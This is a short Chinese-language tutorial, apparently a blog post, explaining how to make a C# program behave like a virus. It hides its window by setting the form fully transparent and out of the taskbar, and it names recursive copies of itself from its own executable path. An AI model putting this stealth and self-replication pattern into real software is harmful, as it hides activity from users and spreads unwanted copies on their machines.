病毒及流氓软件自我复制的简单实现(C#)
程序要实现下面几个功能。
第一,运行时不出现运行界面,当然,在任务管理器里,还是可以看到进程的,道行再深的病毒也不可能无迹可寻。
第二,程序在运行目录下自我复制n份。
第三,采用递归复制的方法,即第一个程序生成第二个程序,第二个程序生成第三个程序,以此类推。
源代码很简单,下面来分析一下:
以下是引用片段: 35 // 不在任务栏显示 36 this.ShowInTaskbar = false; 37 // 窗体透明 38 this.Opacity = 0; |
System.Windows.Forms.Form类封装了一般的Windows窗口程序大部分特性,极大的简化窗口界面的设计过程,上面这两个属性用于隐藏我们的程序的运行状态,第一个ShowInTaskbar属性,设置为否时,程序就不会在状态栏上面显示。第二个Opacity属性,表示窗口的不透明度,取值在0到100之间。0%的不透明度也就是100%透明了。这样,在程序运行时,你就看不见窗体了。
以下是引用片段: 44 // 默认复制次数 45 const int TOTAL = 100; 46 int _count = TOTAL; 47 // 正在运行的程序路径和文件名 48 string _file = Application.ExecutablePath; 49 // 正在运行的程序路径 50 string _path = Application.StartupPath; 51 // 正在运行的程序文件名 52 string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower(); 53 try 54 { 55 _count = int.Parse(_name.Replace(".exe", string.Empty)); 56 _count--; 57 } 58 catch 59 { 60 } 61 finally 62 { 63 } 64 // 目标文件 65 string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000")); |